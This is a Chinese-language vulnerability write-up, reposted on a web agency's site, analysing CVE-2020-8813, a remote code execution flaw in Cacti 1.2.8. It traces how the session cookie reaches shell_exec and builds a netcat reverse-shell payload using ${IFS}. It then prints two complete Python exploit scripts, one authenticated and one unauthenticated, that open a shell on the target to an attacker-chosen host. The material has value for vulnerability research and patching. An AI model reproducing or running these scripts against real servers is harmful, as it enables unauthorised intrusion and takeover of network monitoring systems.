网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

CVE-2020-8813漏洞分析:网络流量监测图形分析工具 Cacti RCE 漏洞

文章来源:重庆网络安全 发布时间:2020-03-12 01:16:33 围观次数:
分享到:

摘要:Cacti是一组基于PHP,MySQL,SNMP和RRDTool的用于网络流量监视的图形分析工具,使用snmpget获取数据,RRDtool绘制图形,无需了解RRDtool的复杂参数。

  Cacti是一组基于PHP,MySQL,SNMP和RRDTool的用于网络流量监视的图形分析工具,使用snmpget获取数据,RRDtool绘制图形,无需了解RRDtool的复杂参数。

 它提供了非常强大的数据和用户管理功能。可以指定每个用户可以查看树结构,host和任何图片。它还可以与LDAP结合使用以进行用户身份验证。同时,可以添加模板。功能非常强大完整。Cacti软件的开发基于使RRDTool用户更易于使用该软件。除了基本的Snmp流量和系统信息监视之外,Cacti还可以外挂 Scripts 及加上Templat

es来创建各种监视图表。


  Cacti是用PHP语言实现的软件。它的主要功能是使用snmp服务获取数据,然后使用rrdtool存储和更新数据。 当用户需要查看数据时,使用rrdtool生成图表并将其呈现给用户。因此,snmp和rrdtool是cacti的关键。     Snmp与数据收集有关,而rrdtool与数据存储和图表生成有关。


漏洞利用分析


  在分析Cacti主要代码中的多个功能时发现了此漏洞。需要结合多种漏洞利用因素来实现代码执行。当攻击者尝试将恶意代码注入“Cacti”Cookie变量时,将触发此漏洞,并在与某些字符串合并后传递此变量给shell_

exec函数。但是,当尝试修改Cookie值时,遇到了身份验证问题,该问题使无法访问目标页面,但是易受攻击的页面可以作为“Guest”来访问,因此无需进行身份验证,因此修改了漏洞利用代码,并使用“Guest”身份访问页面“graph_realtime.php”,然后发送了恶意请求以在目标主机上执行代码。


  首先,我们需要向“user_admin.php”页面发送请求以启用“realtime_graph”访客权限,然后将恶意请求发送至“graph_realtime.php”页面。


  接下来,使用常用的RCE扫描脚本在Cacti中搜索RCE漏洞。


  运行脚本后,在“graph_realtime.php”文件中发现了一个非常有趣的东西:


 graph_realtime.php

/* call poller */

$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';

$command   = read_config_option('path_php_binary');

$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);

shell_exec("$command $args");

/* construct the image name  */

$graph_data_array['export_realtime'] = $graph_rrd;

$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;

$null_param = array();

 我们可以在上面的代码中看到第4行和第5行收到了一些参数和一个名为“get_request_var”的函数。功能如下:

 html_utility.php

 

function get_request_var($name, $default = '') {

    global $_CACTI_REQUEST;

    $log_validation = read_config_option('log_validation');

    if (isset($_CACTI_REQUEST[$name])) {

        return $_CACTI_REQUEST[$name];

    } elseif (isset_request_var($name)) {

        if ($log_validation == 'on') {

            html_log_input_error($name);

        }

        set_request_var($name, $_REQUEST[$name]);

        return $_REQUEST[$name];

    } else {

        return $default;

    }

}

 我们可以看到该函数可以通过“set_request_var”函数处理输入数据并设置参数值,该函数的相关代码如下:

  html_utility.php 

function set_request_var($variable, $value) {

    global $_CACTI_REQUEST;

    $_CACTI_REQUEST[$variable] = $value;

    $_REQUEST[$variable]       = $value;

    $_POST[$variable]          = $value;

    $_GET[$variable]           = $value;

}

  接下来,回到我们的“ graph_realtime.php”页面,我们可以控制以下输入: 

 local_graph_id

The value of $graph_data_array[‘ds_step’]

  但是,我们注意到“ graph_realtime.php”文件中的第4行,该文件使用sprintf()函数处理输入,并且第一个值“graph”的内容为“ local_graph_id”,并且我们可以控制该值!但是,名为“get_filter_request

_var”的函数将过滤该值,我们可以看到它已在“graph_realtime.php”中过滤:


  html_utility.php

 

function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {

    if (isset_request_var($name)) {

        if (isempty_request_var($name)) {

            set_request_var($name, get_nfilter_request_var($name));

            return get_request_var($name);

        } elseif (get_nfilter_request_var($name) == 'undefined') {

            if (isset($options['default'])) {

                set_request_var($name, $options['default']);

                return $options['default'];

            } else {

                set_request_var($name, '');

                return '';

            }

        } else {

            if (get_nfilter_request_var($name) == '0') {

                $value = '0';

            } elseif (get_nfilter_request_var($name) == 'undefined') {

                if (isset($options['default'])) {

                    $value = $options['default'];

                } else {

                    $value = '';

                }

            } elseif (isempty_request_var($name)) {

                $value = '';

            } elseif ($filter == FILTER_VALIDATE_IS_REGEX) {

                if (is_base64_encoded($_REQUEST[$name])) {

                    $_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));

                }

                $valid = validate_is_regex($_REQUEST[$name]);

                if ($valid === true) {

                    $value = $_REQUEST[$name];

                } else {

                    $value = false;

                    $custom_error = $valid;

                }

            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {

                $valid = true;

                if (is_array($_REQUEST[$name])) {

                    foreach($_REQUEST[$name] AS $number) {

                        if (!is_numeric($number)) {

                            $valid = false;

                            break;

                        }

                    }

                } else {

                    $valid = false;

                }

                if ($valid == true) {

                    $value = $_REQUEST[$name];

                } else {

                    $value = false;

                }

            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {

                $valid = true;

                $values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);

                foreach($values AS $number) {

                    if (!is_numeric($number)) {

                        $valid = false;

                        break;

                    }

                }

                if ($valid == true) {

                    $value = $_REQUEST[$name];

                } else {

                    $value = false;

                }

            } elseif (!cacti_sizeof($options)) {

                $value = filter_var($_REQUEST[$name], $filter);

            } else {

                $value = filter_var($_REQUEST[$name], $filter, $options);

            }

        }

        if ($value === false) {

            if ($filter == FILTER_VALIDATE_IS_REGEX) {

                $_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));

                set_request_var($name, '');

                raise_message('custom_error');

            } else {

                die_html_input_error($name, get_nfilter_request_var($name));

            }

        } else {

            set_request_var($name, $value);

            return $value;

        }

    } else {

        if (isset($options['default'])) {

            set_request_var($name, $options['default']);

            return $options['default'];

        } else {

            return;

        }

    }

}

 该函数将过滤输入数据,然后返回“ clean”变量并将其传递给下一个函数。


 对于第二个变量“ $ graph_data_array ['ds_step']”,它已由sprintf()处理了(%d),这意味着它将成为一个十进制值,因此我们不能使用它来注入恶意命令。


  接下来,让我们看下面的代码:


  graph_realtime.php 

/* call poller */

$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';

$command   = read_config_option('path_php_binary');

$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);

shell_exec("$command $args");

/* construct the image name  */

$graph_data_array['export_realtime'] = $graph_rrd;

$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;

$null_param = array();

 我们看到了另一个传递给shell_exec函数的变量,该变量的值是session_id()函数返回的值。该函数可以返回当前用户会话的值,也就是说,我们可以使用它来注入命令。


  如果我们修改会话,则无法访问目标页面,因为此页面要求用户经过身份验证才能访问它。经过研究发现如果启用名为“Realtime Graphs”的特殊权限,我们可以以访客身份访问此页面:

blob.png

 接下来,我们尝试访问未经Guest Realtime Graphs许可访问页面:

blob.png

 如我们所见,由于权限问题,我们现在无法访问此页面。现在,我们重新启用权限,然后访问页面:

blob.png

 接下来我们发送一个“graph_realtime.php”页面请求,然后在代码中添加一个“echo”语句,以输出传递给shell_exec函数的值:

blob.png

blob.png

 如图所示,我们打印会话,然后尝试将自定义字符串注入会话:

blob.png

blob.png

 很好,我们成功实现了注入。


Payload开发


  成功控制会话值之后,我们需要使用它来在目标系统中执行代码执行,但是由于它本质上是会话值,因此我们无法使用某些特殊字符,因此我们需要开发“会话友好”的Payload。


  例如,如果我们对字符串“Hi Payload”进行编码并将其传递给应用程序,我们将看到:

blob.png

blob.png

 我们可以看到该应用程序为我们设置了一个cookie,而不是我们注入的cookie。要解决此问题,我们需要使用自定义Payload。


  为了避免使用空格字符,使用“${IFS}”Bash变量来表示空格。


  当然,我们还需要使用“;”转义命令:


  ;payload

  如果我们要使用netcat来获取Shell,还需要创建以下Payload:


  ;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port

  我们首先对Payload进行编码:

blob.png

 然后将其发送到应用程序:

blob.png

 很好,我们的Payload已成功执行,拿到Shel。


漏洞利用代码


  为了自动化整个漏洞利用编写了一个Python脚本来利用此漏洞:

 

#!/usr/bin/python3

   # Exploit Title: Cacti v1.2.8 Remote Code Execution

   # Date: 03/02/2020

   # Exploit Author: Askar (@mohammadaskar2)

   # CVE: CVE-2020-8813

   # Vendor Homepage: https://cacti.net/

   # Version: v1.2.8

   # Tested on: CentOS 7.3 / PHP 7.1.33

   import requests

   import sys

   import warnings

   from bs4 import BeautifulSoup

   from urllib.parse import quote

   warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

   if len(sys.argv) != 6:

       print("[~] Usage : ./Cacti-exploit.py url username password ip port")

       exit()

   url = sys.argv[1]

   username = sys.argv[2]

   password = sys.argv[3]

   ip = sys.argv[4]

   port = sys.argv[5]

   def login(token):

       login_info = {

       "login_username": username,

       "login_password": password,

       "action": "login",

       "__csrf_magic": token

       }

       login_request = request.post(url+"/index.php", login_info)

       login_text = login_request.text

       if "Invalid User Name/Password Please Retype" in login_text:

           return False

       else:

           return True

   def enable_guest(token):

       request_info = {

       "id": "3",

       "section25": "on",

       "section7": "on",

       "tab": "realms",

       "save_component_realm_perms": 1,

       "action": "save",

       "__csrf_magic": token

       }

       enable_request = request.post(url+"/user_admin.php?header=false", request_info)

       if enable_request:

           return True

       else:

           return False

   def send_exploit():

       payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)

       cookies = {'Cacti': quote(payload)}

       requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

   request = requests.session()

   print("[+]Retrieving login CSRF token")

   page = request.get(url+"/index.php")

   html_content = page.text

   soup = BeautifulSoup(html_content, "html5lib")

   token = soup.findAll('input')[0].get("value")

   if token:

       print("[+]Token Found : %s" % token)

       print("[+]Sending creds ..")

       login_status = login(token)

       if login_status:

           print("[+]Successfully LoggedIn")

           print("[+]Retrieving CSRF token ..")

           page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")

           html_content = page.text

           soup = BeautifulSoup(html_content, "html5lib")

           token = soup.findAll('input')[1].get("value")

           if token:

               print("[+]Making some noise ..")

               guest_realtime = enable_guest(token)

               if guest_realtime:

                   print("[+]Sending malicous request, check your nc ;) ")

                   send_exploit()

               else:

                   print("[-]Error while activating the malicous account")

           else:

               print("[-] Unable to retrieve CSRF token from admin page!")

               exit()

       else:

           print("[-]Cannot Login!")

   else:

       print("[-] Unable to retrieve CSRF token!")

   exit()

 运行漏洞利用代码后,我们将看到:

blob.png

  再次拿到Shell!


  未经身份验证的漏洞利用


  如果Cacti启用了“Guest Realtime Graphs”权限,那么我们可以在无需身份验证的情况下利用此漏洞。以下是这种情况下的利用代码:

 

#!/usr/bin/python3

   # Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution

   # Date: 03/02/2020

   # Exploit Author: Askar (@mohammadaskar2)

   # CVE: CVE-2020-8813

   # Vendor Homepage: https://cacti.net/

   # Version: v1.2.8

   # Tested on: CentOS 7.3 / PHP 7.1.33

   import requests

   import sys

   import warnings

   from bs4 import BeautifulSoup

   from urllib.parse import quote

   warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

   if len(sys.argv) != 4:

       print("[~] Usage : ./Cacti-exploit.py url ip port")

       exit()

   url = sys.argv[1]

   ip = sys.argv[2]

   port = sys.argv[3]

   def send_exploit(url):

       payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)

       cookies = {'Cacti': quote(payload)}

       path = url+"/graph_realtime.php?action=init"

       req = requests.get(path)

       if req.status_code == 200 and "poller_realtime.php" in req.text:

           print("[+] File Found and Guest is enabled!")

           print("[+] Sending malicous request, check your nc ;) ")

           requests.get(path, cookies=cookies)

       else:

           print("[+] Error while requesting the file!")

   send_exploit(url)

blob.png

 我们可以看到,在这种情况下该漏洞也可以被成功利用。

本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:CVE-2020-8813 漏洞分析 网络流量监测图形分析工具 Cacti RCE漏洞 重庆网络安全公司

上一篇:CVE-2020-0609和CVE-2020-0610漏洞分析:微软RDG漏洞,允许攻击者在目标设备上实现预认证远程代码执行
下一篇:Google中XSS漏洞:漏扫利器Acunetix Vulnerability Scanner

热门资讯

鼠标向下滚动